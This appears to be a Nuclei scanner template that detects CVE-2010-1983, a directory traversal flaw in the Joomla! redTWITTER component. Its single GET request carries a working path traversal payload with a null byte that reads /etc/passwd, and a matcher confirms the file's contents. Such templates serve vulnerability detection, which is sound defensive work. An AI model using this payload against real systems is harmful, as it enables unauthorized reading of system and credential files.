id: CVE-2010-1983 info: name: Joomla! Component redTWITTER 1.0 - Local File Inclusion author: daffainfo severity: high description: A drectory traversal vulnerability in the redTWITTER (com_redtwitter) component 1.0.x including 1.0b11 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php. reference: - https://www.exploit-db.com/exploits/12055 - https://nvd.nist.gov/vuln/detail/CVE-2010-1983 - http://packetstormsecurity.org/1004-exploits/joomlaredtwitter-lfi.txt - http://www.exploit-db.com/exploits/12055 remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1983 tags: joomla,lfi,edb,packetstorm,cve,cve2010 requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_redtwitter&view=../../../../../../../../../../../../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # Enhanced by mp on 2022/02/17